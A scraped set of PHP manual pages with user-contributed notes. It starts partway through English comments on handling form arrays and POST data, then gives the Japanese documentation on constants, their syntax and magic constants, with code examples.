Normally the 'value' attribute of the HTML 'input' tag (in this case "Delete") that creates the submit button can be accessed in PHP after post like this:

<?php
$_POST['action_button'];
?>

We of course use the 'name' of the button as an index into the $_POST array.

This works fine, except when we want to pass more information with the click of this particular button.

Imagine a scenario where you're dealing with user management in some administrative interface.  You are presented with a list of user names queried from a database and wish to add a "Delete" and "Modify" button next to each of the names in the list.  Naturally the 'value' of our buttons in the HTML form that we want to display will be "Delete" and "Modify" since that's what we want to appear on the buttons' faceplates.

Both buttons (Modify and Delete) will be named "action_button" since that's what we want to index the $_POST array with.  In other words, the 'name' of the buttons along cannot carry any uniquely identifying information if we want to process them systematically after submit. Since these buttons will exist for every user in the list, we need some further way to distinguish them, so that we know for which user one of the buttons has been pressed.

Using arrays is the way to go.  Assuming that we know the unique numerical identifier of each user, such as their primary key from the database, and we DON'T wish to protect that number from the public, we can make the 'action_button' into an array and use the user's unique numerical identifier as a key in this array.

Our HTML code to display the buttons will become:

<input type="submit" value="Delete" name="action_button[0000000002]">
<input type="submit" value="Modify" name="action_button[0000000002]">

The 0000000002 is of course the unique numerical identifier for this particular user.

Then when we handle this form in PHP we need to do the following to extract both the 'value' of the button ("Delete" or "Modify") and the unique numerical identifier of the user we wish to affect (0000000002 in this case). The following will print either "Modify" or "Delete", as well as the unique number of the user:

<?php
$submitted_array = array_keys($_POST['action_button']);
echo ($_POST['action_button'][$submitted_array[0]] . " " . $submitted_array[0]);
?>

$submitted_array[0] carries the 0000000002.
When we index that into the $_POST['action_button'], like we did above, we will extract the string that was used as 'value' in the HTML code 'input' tag that created this button.

If we wish to protect the unique numerical identifier, we must use some other uniquely identifying attribute of each user. Possibly that attribute should be encrypted when output into the form for greater security.

Enjoy!
tim at timpauly dot com 30-Apr-2005 06:57
This code module can be added to every form using require_once().
It will process any and all form data, prepending each variable with
a unique identifier (so you know which method was used to get the data).

My coding could be neater, but this sure makes processing forms much easier!

<?php
// -----------------------------------------------------------------
// Basic Data PHP module. This module captures all GET, POST
// and COOKIE data and processes it into variables.
// Coded April, 2005 by Timothy J. Pauly
// -----------------------------------------------------------------
//
// coo_ is prepended to each cookie variable
// get_ is prepended to each GET variable
// pos_ is prepended to each POST variable
// ses_ is prepended to each SESSION variable
// ser_ is prepended to each SERVER variable

session_start(); // initialize session data
$ArrayList = array("_POST", "_GET", "_SESSION", "_COOKIE", "_SERVER"); // create an array of the autoglobal arrays
// we want to process

foreach($ArrayList as $gblArray) // process each array in the array list
{
   $prefx = strtolower(substr($gblArray,1,3))."_"; // derive the prepend string
// from the autoglobal type name
   $tmpArray = $$gblArray;
   $keys = array_keys($tmpArray); // extract the keys from the array being processed
   foreach($keys as $key) // process each key
    {

    $arcnt = count($tmpArray[$key]);

    if ($arcnt > 1) // Break down passed arrays and
// process each element seperately
    {
      $lcount = 0;
      foreach ($tmpArray[$key] as $dval)
        {
           $prkey = $prefx.$key; // create a new key string
// with the prepend string added
           $prdata['$prkey'] = $dval; // this step could be eliminated
           ${$prkey}[$lcount] = $prdata['$prkey']; //create new key and insert the data
           $lcount++;
        }

        } else { // process passed single variables

                $prkey = $prefx.$key; // create a new key string
// with the prepend string added
                $prdata['$prkey'] = $tmpArray[$key]; // insert the data from
// the old array into the new one
                $$prkey = $prdata['$prkey']; // create the newly named
// (prepended) key pair using variable variables :-)

               }
    }
}

// -------------------------------------------------------------
?>
tmk-php at infeline dot org 08-Apr-2005 09:38
To handle forms with or without [] you can do something like this:

<?php
    function repairPost($data) {
        // combine rawpost and $_POST ($data) to rebuild broken arrays in $_POST
        $rawpost = "&".file_get_contents("php://input");
        while(list($key,$value)= each($data)) {
            $pos = preg_match_all("/&".$key."=([^&]*)/i",$rawpost, $regs, PREG_PATTERN_ORDER);
            if((!is_array($value)) && ($pos > 1)) {
                $qform[$key] = array();
                for($i = 0; $i < $pos; $i++) {
                    $qform[$key][$i] = urldecode($regs[1][$i]);
                }
            } else {
                $qform[$key] = $value;
            }
        }
        return $qform;
    }

    // --- MAIN

    $_POST = repairPost($_POST);
?>

The function will check every field in the $_POST with the raw post data and rebuild the arrays that got lost.
Murat TASARSU 02-Mar-2005 04:29
if you want your multiple select returned variable in comma seperated form you can use this. hope that helps. regards...

$myvariable
   Array ( [0] => one [1] => two [2] => three )
turns into
   one,two,three

<?php
$myvariable="";
$myseperator="";
foreach ( $_POST["myvariable"] as $v) {
if (!isset($nofirstcomma)) $nofirstcomma=0; else $myseperator=",";
$myvariable = $myvariable.$myseperator.$v;
}
echo $myvariable;
?>
jlratwil at yahoo dot com 01-Feb-2005 05:35
To get multiple selected (with "multiple" ) lists in <select> tag, make sure that the "name" attribute is added to braces, like this:

<select multiple="multiple" name="users[]">
     <option value="foo">Foo</option>
     <option value="bar">Bar</option>
</select>

When submitted to PHP file (assume that you have a complete form) it will return an array of strings. Otherwise, it will just return the last element of the <select> tag you selected.
mattij at nitro fi no at no dot no 05-Nov-2004 07:39
If you try to refer or pass HTML-form data which has arrays with javascript remember that you should point to that array like this

<script type="text/javascript">
    window.opener.document.forms[0]["to[where][we][point]"];
</script>
lennynyktyk at yahoo dot com 09-Jul-2004 02:42
When dealing with multiple select boxes and the name=some_name[] so that PHP will understand that is needs to interpet the input as an array an not as a single value. If you want to access this in Javascript you should assign an id attribute to the select box as well as the name attribute. Then proceed to use the id attribute in Javascript to reference the select box and the name attribute to reference the select box in PHP.
Example

<select multiple id="select_id" name="select_name[]">
....

</select>

<?PHP
    echo $select_name[0];
?>

<script language="javascript">
  document.forms[0].select_id.options[0].selected = true;
</script>

I hope you get the idea
arjini at mac dot com 26-Mar-2004 11:48
When dealing with form inputs named_like_this[5] and javascript, instead of trying to get PHP to do something fancy as mentioned below, just try this on the javascript side of things:

<form name="myForm">

<script>
my_fancy_input_name = 'array_of_things[1]';
/* now just refer to it like this in the dom tree

document[myForm][my_fancy_input_name].value

etc*/
</script>

<input type="text" name="array_of_things[1]" value="1"/>
</form>

No fancy PHP, in fact, you shouldn't need to change your PHP at all.
jim at jamesdavis dot it 22-Jan-2004 11:59
How to pass a numerically indexed array.
This is the part inside the form. Notice that the name is not 'english[$r]' which you would normally write, but 'english[]'. PHP adds the index when it receives the post and it starts at 0.

<?php

for ($r=0; $r <= count($english)-1; $r++){
         echo "<TEXTAREA NAME='english[]'>".$english[$r]."</TEXTAREA>";

}
?>
<?php

And this will get it out at the other end
function retrieve_english(){
    for ($r=0; $r <= count($_POST['english'])-1; $r++){
        echo $_POST['english'][$r]."<BR>";
    }
}
?>

Keys are useful but so are numerical indices!
Cheers everyone
darren at sullivan dot net 01-Dec-2003 08:37
This function is a simple solution for getting the array of selectes from a checkbox list or a dropdown list out of the Querry String. I took an example posted earlier and simplified it.

<?php
function multi_post_item($repeatedString) {
    // Gets the specified array of multiple selects and/or
    // checkboxes from the Query String
    $ArrayOfItems = array();
    $raw_input_items = split("&", $_SERVER["QUERY_STRING"]);
    foreach ($raw_input_items as $input_item) {
        $itemPair = split("=", $input_item);
        if ($itemPair[0] == $repeatedString) {
            $ArrayOfItems[] = $itemPair[1];
        }
    }
    return $ArrayOfItems;
}
?>

Use the name of the field as the agrument. Example:

<?php
$Order = $_GET['Order'];
$Name = $_GET['Name'];
$States = multi_post_item('States');
$Products = multi_post_item('Products');
?>

Be sure to check for NULL if there are no selections or boxes checked.
kevinrlat nospam dot ccs dot neu dot edu 07-Aug-2003 10:47
if you use an array of checkboxes to submit info to a database or what have you, be careful of the case when no boxes are checked.  for example:

<form method="post">
<input type="checkbox" name="checkstuff[]" value="0">
<input type="checkbox" name="checkstuff[]" value="1">
<input type="checkbox" name="checkstuff[]" value="2">

. . .

</form>

if these are submitted and none are checked, the $_POST['checkstuff'] variable will not contain an empty array, but a NULL value.  this bothered me when trying to implode() the values of my checkboxes to insert into a database, i got a warning saying the 2nd argument was the wrong type.

hope this helps!
-kevin
un shift at yahoo dot com 01-Apr-2003 10:07
This function takes a recurring form item from php://input and loads it into an array - useful for javascript/dom incompatibility with form_input_item[] names for checkboxes, multiple selects, etc.  The fread maxes out at 100k on this one.  I guess a more portable option would be pulling in ini_get('post_max_size') and converting it to an integer.

<?php
function multi_post_item($input_item_name) {
     $array_output = array();
     $in_handle = fopen("php://input", "r");
     $raw_input_items = split("&", urldecode(fread($in_handle, 100000)));
     foreach ($raw_input_items as $input_item) {
            // split this item into name/value pair
            $item = split("=", $input_item);
            // form item name
            $item_name = $item[0];
            // form item value
            $item_value = $item[1];
            if ($item_name == $input_item_name) {
                    $array_output[] = $item_value;
            }
     }
     return $array_output;
}
?>
vb at bertola dot eu dot org 19-Mar-2003 09:38
For what I understand, since PHP 4.3 it is possible to access the content of a POST request (or other methods as well) as an input stream named php://input, example:

readfile("php://input");
[to display it]

or

$fp = fopen("php://input", "r");
[to open it and then do whatever you want]

This is very useful to access the content of POST requests which actually have a content (and not just variable-value couples, which appear in $_POST).

This substitutes the old $HTTP_RAW_POST_DATA variable available in some of the previous 4.x versions. It is available for other upload methods different from POST too, but it is not available for POSTs with multipart/form-data content type, since the file upload handler has already taken care of the content in that case.
04-Mar-2003 07:21
"...the dot (period, full stop) is not a valid character in a PHP variable name."

That's not completely correct, consider this example:
$GLOBALS['foo.bar'] = 'baz';
echo ${'foo.bar'};
This will output baz as expected.
keli at kmdsz dot ro 03-Feb-2003 07:37
image type inputs apparently return their "value" argument from Mozilla, but not from IEXplorer... :(

example:

 <input type="image" name="sb" value="first" src="first.jpg">

using a mozilla will give you
  $sb="first" AND $sb_x, $sb_y ... whereas from IE there's just no $sb. :(

[this in short form, as I'm still using trackvars :) ]
hjncom at hjncom dot net 25-May-2002 03:34
I think '[' and ']' are valid characters for name attributes.

http://www.w3.org/TR/html401/interact/forms.html#h-17.4
-> InputType of 'name' attribute is 'CDATA'(not 'NAME' type)

http://www.w3.org/TR/html401/types.html#h-6.2
-> about CDATA('name' attribute is not 'NAME' type!)
...CDATA is a sequence of characters from the document character set and may include character entities...

http://www.w3.org/TR/html401/sgml/entities.html
--> about Character entity references in HTML 4
([ - &#91, ] - &#93)
a at b dot c dot de 03-Feb-2002 04:49
As far as whether or not "[]" in name attributes goes, The HTML4.01 specification only requires that it be a case-insensitive CDATA token, which can quite happily include "[]". Leading and trailing whitespace may be trimmed and shouldn't be used.

It is the id= attribute which is restricted, to a case-sensitive NAME token (not to be confused with a name= attribute).
carl_steinhilber at NOSPAMmentor dot com 30-Jan-2002 02:19
A group of identically-named checkbox form elements returning an array is a pretty standard feature of HTML forms. It would seem that, if the only way to get it to work is a non-HTML-standard-compliant workaround, it's a problem with PHP.

Since the array is passed in the header in a post, or the URL in a get, it's the PHP interpretation of those values that's failing.
yasuo_ohgaki at hotmail dot com 11-Mar-2001 04:02
Important:  Pay attention to the following security concerns when handling user submitted  data :

http://www.php.net/manual/en/security.registerglobals.php
http://www.php.net/manual/en/security.variables.php


定数

目次

  • 構文
  • 自動的に定義される定数
  • マジック定数

定数は簡単な値のためのID(名前)です。この名前が示すように、定数の値は スクリプト実行中に変更できません (自動的に定義される定数 は例外で、これらは実際は定数ではありません)。 定数は大文字小文字を区別します。慣習的に、 定数は常に大文字で表記されます。

注意:

PHP 8.0.0 より前のバージョンでは、 define() 関数を使って定義された定数は、 大文字小文字を区別していました。

定数の名前は、PHP のラベルと同じ規則に従います。有効な定数の名前は、 文字またはアンダースコアで始まり、任意の数の文字、数字、 アンダースコアが後に続きます。正規表現で示すと次のようになります。 ^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$

define() 関数を使うと、 予約語や有効でない名前の定数を定義することが可能です。 この場合の定数の値は constant() 関数によってのみ取得できますが、 このような使い方は推奨できません。

ヒント

ユーザーレベルでの命名の手引き も参照ください。

例1 有効/無効な定数名の例

<?php

// 有効な定数名
define("FOO",     "something");
define("FOO2",    "something else");
define("FOO_BAR", "something more");

// 無効な定数名
define("2FOO",    "something");

// 有効だが、避けるべき。
// 将来 PHP に定数の予約語が追加された場合に
// スクリプトが動作しなくなる可能性がある
define("__FOO__", "something");

?>

注意: 本節の目的においては、文字は a-z, A-Z, および128から255まで (0x80-0xff)のASCII文字を指します。

superglobalsと同様に定数のスコープはグローバルです。 つまり、スコープによらずスクリプトの中ではどこでも定数に アクセスできます。スコープの詳細についてはマニュアルの 変数のスコープ をご覧ください。

注意: PHP 7.1.0 以降では、クラス定数は protected または private として宣言でき、 それが定義されたクラス階層のスコープでのみ利用可能にすることができます。

User Contributed Notes

mparsa1372 at gmail dot com 11-Mar-2021 05:51
<?php
//Syntax of define constant in php
//define(name, value, case-insensitive);

//it will print 100 in output
define('BOOK',100);
echo BOOK;

//it will print 200 in output
define('book', 200 , true);
echo book;

//results of all are the same
echo '<br>';
echo BOOK;
echo '<br>';
echo book;
warwick dot jm dot barnes at gmail dot com 16-Jun-2020 07:49
The documentation says, "You can access constants anywhere in your script without regard to scope", but it's worth keeping in mind that a const declaration must appear in the source file before the place where it's used.

This doesn't work (using PHP 5.4):
<?php
foo();
const X = 1;
function foo() {
    echo "Value of X: " . X;
}
?>
Result: "Value of X: X"

But this works:
<?php
const X = 1;
foo();
function foo() {
    echo "Value of X: " . X;
}
?>
Result: "Value of X: 1"

This is potentially confusing because you can refer to a function that occurs later in your source file, but not a constant. Even though the const declaration is processed at compile time, it behaves a bit like it's being processed at run time.
Sumon Mahmud (Abu Taleb) 01-Feb-2020 02:21
define('MYKEY', 'The value is from outside of class');
class Abc{

    const MAX = 10;

    public function __construct(){
        define('TEST', 'hello world! '); // using define function in class constructor
    }
    public function getOutput(){
        echo TEST . MYKEY . PHP_EOL; // accessing constants from outside of class
    }
}

$obj = new Abc();  // define function will call
$obj->getOutput(); // hello world! The value is from outside of class

echo Abc::MAX . PHP_EOL; // 10 - accessing constant using scope resolution

echo TEST; // hello world!  Because the constants is defined while constructor call
jcastromail at yahoo dot es 07-Oct-2017 12:13
Performance of constants.  PHP 7.1.10 32 bits (Opcache active, windows 10 i7-64bits) but apparently the trends is the same with the 5.x

using a constant declared by DEFINE('CNS',value) : 0.63575601577759s
using a constant declared by const CNS=value : 0.61372208595276s
using a variable declared by $v=value : 0.51184010505676s

In average, the use of DEFINE and CONST is around the same with some sightly  better performance of CONST instead of DEFINE. However, using a variable is around 10-50% better than to use a constant.  So, for a performance intensive task, constant is not the best option.

$p1=microtime(true);
$x=0;
for($i=0;$i<50000000;$i++) {
    $x+=CNS;
}
$p2=microtime(true);
xs2ilyas at gmail dot com 03-Feb-2017 05:38
When we start a constant name with space, it doesn't produce any error.

<?php
  define (" YEAR",  2000)
  echo "success";
?>

output: success

But when we call this constant, it produce error.

<?php
  define (" YEAR",  2000)
  echo YEAR;
?>

output: E_NOTICE :  type 8 -- Use of undefined constant YEAR - assumed 'YEAR' -- at line 4 YEAR
gried at NOSPAM dot nsys dot by 17-Jan-2016 07:12
Lets expand comment of 'storm' about usage of undefined constants. His claim that 'An undefined constant evaluates as true...' is wrong and right at same time. As said further in documentation ' If you use an undefined constant, PHP assumes that you mean the name of the constant itself, just as if you called it as a string...'. So yeah, undefined global constant when accessed directly will be resolved as string equal to name of sought constant (as thought PHP supposes that programmer had forgot apostrophes and autofixes it) and non-zero non-empty string converts to True.

There are two ways to prevent this:
1. always use function constant('CONST_NAME') to get constant value (BTW it also works for class constants - constant('CLASS_NAME::CONST_NAME') );
2. use only class constants (that are defined inside of class using keyword const) because they are not converted to string when not found but throw exception instead (Fatal error: Undefined class constant).
Raheel Khan 22-Feb-2015 08:39
class constant are by default public in nature but they cannot be assigned visibility factor and in turn gives syntax error

<?php

class constants {

    const MAX_VALUE = 10;
        public const MIN_VALUE =1;

}

// This will work
echo constants::MAX_VALUE;

// This will return syntax error
echo constants::MIN_VALUE;
?>
php at webflips dot net 02-Apr-2014 08:03
It is perfectly valid to use a built-in PHP keyword as a constant name - as long as you the constant() function to retrieve it later:

<?php
define('echo', 'My constant value');

echo constant('echo'); // outputs 'My constant value'
?>
wbcarts at juno dot com 20-May-2012 03:04
11/14/2016 - note updated by sobak
-----

CONSTANTS and PHP Class Definitions

Using "define('MY_VAR', 'default value')" INSIDE a class definition does not work as expected. You have to use the PHP keyword 'const' and initialize it with a scalar value -- boolean, int, float, string (or array in PHP 5.6+) -- right away.

<?php

define('MIN_VALUE', '0.0');   // RIGHT - Works OUTSIDE of a class definition.
define('MAX_VALUE', '1.0');   // RIGHT - Works OUTSIDE of a class definition.

//const MIN_VALUE = 0.0;         RIGHT - Works both INSIDE and OUTSIDE of a class definition.
//const MAX_VALUE = 1.0;         RIGHT - Works both INSIDE and OUTSIDE of a class definition.

class Constants
{
  //define('MIN_VALUE', '0.0');  WRONG - Works OUTSIDE of a class definition.
  //define('MAX_VALUE', '1.0');  WRONG - Works OUTSIDE of a class definition.

  const MIN_VALUE = 0.0;      // RIGHT - Works INSIDE of a class definition.
  const MAX_VALUE = 1.0;      // RIGHT - Works INSIDE of a class definition.

  public static function getMinValue()
  {
    return self::MIN_VALUE;
  }

  public static function getMaxValue()
  {
    return self::MAX_VALUE;
  }
}

?>

#Example 1:
You can access these constants DIRECTLY like so:
 * type the class name exactly.
 * type two (2) colons.
 * type the const name exactly.

#Example 2:
Because our class definition provides two (2) static functions, you can also access them like so:
 * type the class name exactly.
 * type two (2) colons.
 * type the function name exactly (with the parentheses).

<?php

#Example 1:
$min = Constants::MIN_VALUE;
$max = Constants::MAX_VALUE;

#Example 2:
$min = Constants::getMinValue();
$max = Constants::getMaxValue();

?>

Once class constants are declared AND initialized, they cannot be set to different values -- that is why there are no setMinValue() and setMaxValue() functions in the class definition -- which means they are READ-ONLY and STATIC (shared by all instances of the class).
Andreas R. 30-Apr-2007 07:19
If you are looking for predefined constants like
* PHP_OS (to show the operating system, PHP was compiled for; php_uname('s') might be more suitable),
* DIRECTORY_SEPARATOR ("\\" on Win, '/' Linux,...)
* PATH_SEPARATOR (';' on Win, ':' on Linux,...)
they are buried in 'Predefined Constants' under 'List of Reserved Words' in the appendix:
http://www.php.net/manual/en/reserved.constants.php
while the latter two are also mentioned in 'Directory Functions'
http://www.php.net/manual/en/ref.dir.php
hafenator2000 at yahoo dot com 21-Apr-2005 02:09
PHP Modules also define constants.  Make sure to avoid constant name collisions.  There are two ways to do this that I can think of.
First: in your code make sure that the constant name is not already used.  ex. <?php if (! defined("CONSTANT_NAME")) { Define("CONSTANT_NAME","Some Value"); } ?>  This can get messy when you start thinking about collision handling, and the implications of this.
Second: Use some off prepend to all your constant names without exception  ex. <?php Define("SITE_CONSTANT_NAME","Some Value"); ?>

Perhaps the developers or documentation maintainers could recommend a good prepend and ask module writers to avoid that prepend in modules.
storm 18-Apr-2005 09:54
An undefined constant evaluates as true when not used correctly. Say for example you had something like this:

settings.php
<?php
// Debug mode
define('DEBUG',false);
?>

test.php
<?php
include('settings.php');

if (DEBUG) {
   // echo some sensitive data.
}
?>

If for some reason settings.php doesn't get included and the DEBUG constant is not set, PHP will STILL print the sensitive data. The solution is to evaluate it. Like so:

settings.php
<?php
// Debug mode
define('DEBUG',0);
?>

test.php
<?php
include('settings.php');

if (DEBUG == 1) {
   // echo some sensitive data.
}
?>

Now it works correctly.
ewspencer at industrex dot com 18-Aug-2003 06:30
I find using the concatenation operator helps disambiguate value assignments with constants. For example, setting constants in a global configuration file:

<?php
define('LOCATOR',   "/locator");
define('CLASSES',   LOCATOR."/code/classes");
define('FUNCTIONS', LOCATOR."/code/functions");
define('USERDIR',   LOCATOR."/user");
?>

Later, I can use the same convention when invoking a constant's value for static constructs such as require() calls:

<?php
require_once(FUNCTIONS."/database.fnc");
require_once(FUNCTIONS."/randchar.fnc");
?>

as well as dynamic constructs, typical of value assignment to variables:

<?php
$userid  = randchar(8,'anc','u');
$usermap = USERDIR."/".$userid.".png";
?>

The above convention works for me, and helps produce self-documenting code.

-- Erich
katana at katana-inc dot com 25-Feb-2002 11:53
Warning, constants used within the heredoc syntax (http://www.php.net/manual/en/language.types.string.php) are not interpreted!

Editor's Note: This is true. PHP has no way of recognizing the constant from any other string of characters within the heredoc block.


構文

const キーワードか、 define() 関数を使うことで、定数を宣言することが出来ます。 define() を使えば任意の式を使って定数を定義できますが、 const キーワードを使う場合には、 次の段落で説明する制約があります。 定数が一度定義されると、 変更または未定義とすることはできません。

const キーワードで定数に指定できるのは、スカラー式 (bool, int, double, string) と、 スカラー式だけを含んだ array の定数です。 resource の定数を指定することもできますが、 予期せぬ結果を引き起こすことがあるので避けるべきです。

単に定数の名前を指定することにより、その値を得ることが可能です。 変数とは異なり、その前に $ は不要です。 定数の名前を動的に得る必要がある場合、定数の値を読むために関数 constant() を使用することも可能です。 定義済の定数の一覧を得るには、 get_defined_constants() を使用してください。

注意: 定数と(グローバル)変数は、異なる名前空間にあります。 例えば、true と $TRUE は違うものを意味します。

未定義の定数を使用した場合、Error がスローされます。 PHP 8.0.0 より前のバージョンでは、 未定義の定数は、ちょうどstringとして コールしたかのように(CONSTANT vs "CONSTANT")、 PHPはその定数自体の名前を使用したと解釈していました。 このような振る舞いは、PHP 7.2.0 以降では非推奨となり、E_WARNING が発生するようになりました。 (それより前のバージョンでは、 E_NOTICE が発生していました) （barが定数でなければ) なぜ $foo[bar]が間違っている のかというマニュアルもご覧ください。 これは 完全修飾形式の定数 には適用されず、この場合は未定義なら Error が発生します。

注意: 定数が設定されているかを確認するには、defined() 関数を使って下さい。

変数との違いは次のようになります。

  • 定数は、前にドル記号($)を要しません。
  • 定数は、定義することができ、変数のスコープ規則に関係なく、あら ゆる場所からアクセス可能です。
  • 定数は一度設定されると再定義または未定義とすることはできません。
  • 定数は、スカラー値と配列としてのみ評価可能です。

例1 定数の定義

<?php
define("CONSTANT", "Hello world.");
echo CONSTANT; // "Hello world."を出力
echo Constant; // エラーが発生: Undefined constant "Constant"
               // PHP 8.0.0 より前のバージョンでは、"Constant" を出力し、警告が発生
?>

例2 const キーワードによる定数の定義

<?php
// 単純なスカラー値
const CONSTANT = 'Hello World';

echo CONSTANT;

// スカラー式
const ANOTHER_CONST = CONSTANT.'; Goodbye World';
echo ANOTHER_CONST;

const ANIMALS = array('dog', 'cat', 'bird');
echo ANIMALS[1]; // 出力は "cat"

// 配列の定数
define('ANIMALS', array(
    'dog',
    'cat',
    'bird'
));
echo ANIMALS[1]; // 出力は "cat"
?>

注意:

define() による定数の定義とは反対に、 const キーワードで定義した定数はトップレベルのスコープで宣言しなければなりません。 これはコンパイル時に定義されるからです。 つまり、関数、ループ、if 文、または try/catch ブロックの内部では宣言できないということです。

注意:

PHP 8.0.0 より前のバージョンでは、define() 関数を使って定義された定数は、 大文字小文字を区別しません。

参考

  • オブジェクト定数

User Contributed Notes

halfhearted13 at gmail dot com 17-Aug-2020 12:08
Constants of constant :

<?php

const foo = hello;
const bar = foo;
const bd = bar;

echo "bd = " .bd;   // Prints out: Hello

?>
privat at ulrich-kapp dot de 20-Jan-2020 08:33
const ArrayFromTextfile = file("mytextfile.txt", FILE_IGNORE_NEW_LINES);

does not work, it throws an error:
Fatal error: Constant expression contains invalid operations in php shell code on line ...

Instead use:

define ("ArrayFromTextfile", file("mytextfile.txt", FILE_IGNORE_NEW_LINES));

print_r(ArrayFromTextfile);

Result:
Array
(
    [0] ? Line 1
    [1] ? Line 2
    [2] ? Line 3
    [3] => ...
)
mh at hanft dot de 24-Jun-2019 09:49
With PHP 5.6, multi-dimensional arrays are also possible if you use "const" instead of "define". So,

define('QUARTLIST',array('1. Quarter'=>array('jan','feb','mar'),'2.Quarter'=>array('may','jun','jul')));

won't work with PHP 5.6, but

const QUARTLIST=array('1. Quarter'=>array('jan','feb','mar'),'2.Quarter'=>array('may','jun','jul'));

will.
login at (two)view dot de 04-Sep-2017 11:16
Just a quick note:
From PHP7 on you can even define a multidimensional Array as Constant:

define('QUARTLIST',array('1. Quarter'=>array('jan','feb','mar'),'2.Quarter'=>array('may','jun','jul'));

does work as expected.


自動的に定義される定数

PHPには実行されるスクリプトで使用可能な多くの 定義済みの定数があります。 しかし、これらの定数の多くは、種々の拡張モジュールにより作成され、 動的なロードやコンパイル時の組込みにより、これらの拡張モジュールが 使用可能である場合にのみ定義されます。

User Contributed Notes

public at taliesinnuin dot net 06-Jul-2020 03:40
If you're using PHP with fpm (common in this day and age), be aware that __DIR__ and __FILE__ will return values based on the fpm root which MAY differ from its actual location on the file system.

This can cause temporary head-scratching if deploying an app where php files within the web root pull in PHP files from outside of itself (a very common case). You may be wondering why __DIR__ returns "/" when the file itself lives in /var/www/html or whathaveyou.

You might handle such a situation by having NGINX explicitly add the necessary part of the path in its fastcgi request and then you can set the root on the FPM process / server / container to be something other than the webroot (so long as no other way it could become publicly accessible).

Hope that saves someone five minutes who's moving code to FPM that uses __DIR__.
Sbastien Fauvel 15-Apr-2016 01:27
Note a small inconsistency when using __CLASS__ and __METHOD__ in traits (stand php 7.0.4): While __CLASS__ is working as advertized and returns dynamically the name of the class the trait is being used in, __METHOD__ will actually prepend the trait name instead of the class name!
php at kenman dot net 28-Mar-2014 06:45
Just learned an interesting tidbit regarding __FILE__ and the newer __DIR__ with respect to code run from a network share: the constants will return the *share* path when executed from the context of the share.

Examples:

// normal context
// called as "php -f c:\test.php"
 __DIR__ === 'c:\';
__FILE__ === 'c:\test.php';

// network share context
// called as "php -f \\computerName\c$\test.php"
 __DIR__ === '\\computerName\c$';
__FILE__ === '\\computerName\c$\test.php';

NOTE: realpath('.') always seems to return an actual filesystem path regardless of the execution context.
meindertjan at gmail dot spamspamspam dot com 16-Feb-2014 12:54
A lot of notes here concern defining the __DIR__ magic constant for PHP versions not supporting the feature. Of course you can define this magic constant for PHP versions not yet having this constant, but it will defeat its purpose as soon as you are using the constant in an included file, which may be in a different directory then the file defining the __DIR__ constant. As such, the constant has lost its *magic*, and would be rather useless unless you assure yourself to have all of your includes in the same directory.

Concluding: eye catchup at gmail dot com's note regarding whether you can or cannot define magic constants is valid, but stating that defining __DIR__ is not useless, is not!
david at thegallagher dot net 22-Feb-2012 01:19
You cannot check if a magic constant is defined. This means there is no point in checking if __DIR__ is defined then defining it. `defined('__DIR__')` always returns false. Defining __DIR__ will silently fail in PHP 5.3+. This could cause compatibility issues if your script includes other scripts.

Here is proof:

<?php
echo (defined('__DIR__') ? '__DIR__ is defined' : '__DIR__ is NOT defined' . PHP_EOL);
echo (defined('__FILE__') ? '__FILE__ is defined' : '__FILE__ is NOT defined' . PHP_EOL);
echo (defined('PHP_VERSION') ? 'PHP_VERSION is defined' : 'PHP_VERSION is NOT defined') . PHP_EOL;
echo 'PHP Version: ' . PHP_VERSION . PHP_EOL;
?>

Output:
__DIR__ is NOT defined
__FILE__ is NOT defined
PHP_VERSION is defined
PHP Version: 5.3.6
Anonymous 27-Dec-2011 08:44
Further clarification on the __TRAIT__ magic constant.

<?php
trait PeanutButter {
    function traitName() {echo __TRAIT__;}
}

trait PeanutButterAndJelly {
    use PeanutButter;
}

class Test {
    use PeanutButterAndJelly;
}

(new Test)->traitName(); //PeanutButter
?>
chris dot kistner at gmail dot com 20-Apr-2011 05:16
There is no way to implement a backwards compatible __DIR__ in versions prior to 5.3.0.

The only thing that you can do is to perform a recursive search and replace to dirname(__FILE__):
find . -type f -print0 | xargs -0 sed -i 's/__DIR__/dirname(__FILE__)/'
Tomek Perlak [tomekperlak at tlen pl] 10-Nov-2006 02:16
The __CLASS__ magic constant nicely complements the get_class() function.

Sometimes you need to know both:
- name of the inherited class
- name of the class actually executed

Here's an example that shows the possible solution:

<?php

class base_class
{
    function say_a()
    {
        echo "'a' - said the " . __CLASS__ . "<br/>";
    }

    function say_b()
    {
        echo "'b' - said the " . get_class($this) . "<br/>";
    }

}

class derived_class extends base_class
{
    function say_a()
    {
        parent::say_a();
        echo "'a' - said the " . __CLASS__ . "<br/>";
    }

    function say_b()
    {
        parent::say_b();
        echo "'b' - said the " . get_class($this) . "<br/>";
    }
}

$obj_b = new derived_class();

$obj_b->say_a();
echo "<br/>";
$obj_b->say_b();

?>

The output should look roughly like this:

'a' - said the base_class
'a' - said the derived_class

'b' - said the derived_class
'b' - said the derived_class
vijaykoul_007 at rediffmail dot com 21-Sep-2005 09:59
the difference between
__FUNCTION__ and __METHOD__ as in PHP 5.0.4 is that

__FUNCTION__ returns only the name of the function

while as __METHOD__ returns the name of the class alongwith the name of the function

class trick
{
      function doit()
      {
                echo __FUNCTION__;
      }
      function doitagain()
      {
                echo __METHOD__;
      }
}
$obj=new trick();
$obj->doit();
output will be ----  doit
$obj->doitagain();
output will be ----- trick::doitagain


マジック定数

使われる場所によって値が変化する定数（マジック定数）が 9 つあります。 例えば、__LINE__はスクリプト上において 使われる行によって値が変化します。 これらの "マジック"定数は、実行時に解決される通常の定数とは異なり、コンパイル時に解決されます。 これらの特別な定数は大文字小文字を区別しません。 内容は以下のとおりです:

PHP の "マジック" 定数
名前 | 説明
__LINE__ | ファイル上の現在の行番号。
__FILE__ | ファイルのフルパスとファイル名 (シンボリックリンクを解決した後のもの)。 インクルードされるファイルの中で使用された場合、インクルードされるファイルの名前が返されます。
__DIR__ | そのファイルの存在するディレクトリ。include の中で使用すると、 インクルードされるファイルの存在するディレクトリを返します。 つまり、これは dirname(__FILE__) と同じ意味です。 ルートディレクトリである場合を除き、ディレクトリ名の末尾にスラッシュはつきません。
__FUNCTION__ | 関数名。無名関数の場合は、{closure}
__CLASS__ | クラス名。 クラス名には、そのクラスが宣言されている名前空間も含みます (例 Foo\Bar)。 トレイトのメソッド内で __CLASS__ を使うと、 そのトレイトを use しているクラスの名前を返します。
__TRAIT__ | トレイト名 トレイト名には、宣言された名前空間も含みます (例 Foo\Bar)。
__METHOD__ | クラスのメソッド名。
__NAMESPACE__ | 現在の名前空間の名前。
ClassName::class | 完全に修飾されたクラス名。

参考

  • ::class
  • get_class()
